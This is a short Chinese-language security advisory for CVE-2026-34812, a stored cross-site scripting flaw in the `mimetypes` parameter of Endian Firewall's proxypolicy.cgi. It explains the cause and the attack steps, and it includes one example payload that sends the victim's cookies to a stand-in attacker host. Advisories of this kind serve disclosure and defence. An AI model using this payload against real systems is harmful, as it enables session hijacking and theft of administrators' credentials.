CVE-2026-34812Endian Firewall 3.3.25及之前版本存在存储型跨站脚本(XSS)漏洞。攻击者可利用`/cgi-bin/proxypolicy.cgi`接口中的`mimetypes`参数注入恶意JavaScript代码。由于系统未对用户输入进行充分过滤,该恶意代码会被持久化存储。当其他授权用户查看受影响页面时,恶意脚本自动执行,可能导致用户会话劫持或敏感信息泄露。
该漏洞源于Endian Firewall在处理Web代理策略配置请求时,未能对`mimetypes`参数进行严格的输入验证和上下文相关的输出编码。攻击者首先需要通过低权限账户登录系统,随后向`/cgi-bin/proxypolicy.cgi`接口发送特制的HTTP POST或GET请求。在请求中,将`mimetypes`参数的值替换为经过编码或构造的XSS Payload(例如`<script>fetch('http://attacker/?c='+document.cookie)</script>`)。由于应用程序直接将用户输入反射并存储在后台数据库或配置文件中,且在渲染页面时未进行HTML实体转义,导致恶意脚本被持久化。当管理员或其他高权限用户访问该代理策略管理页面时,浏览器会解析并执行注入的脚本代码。这使得攻击者能够窃取受害者的Session ID、Cookie等敏感凭证,进而劫持用户会话,甚至以受害者身份执行恶意管理操作。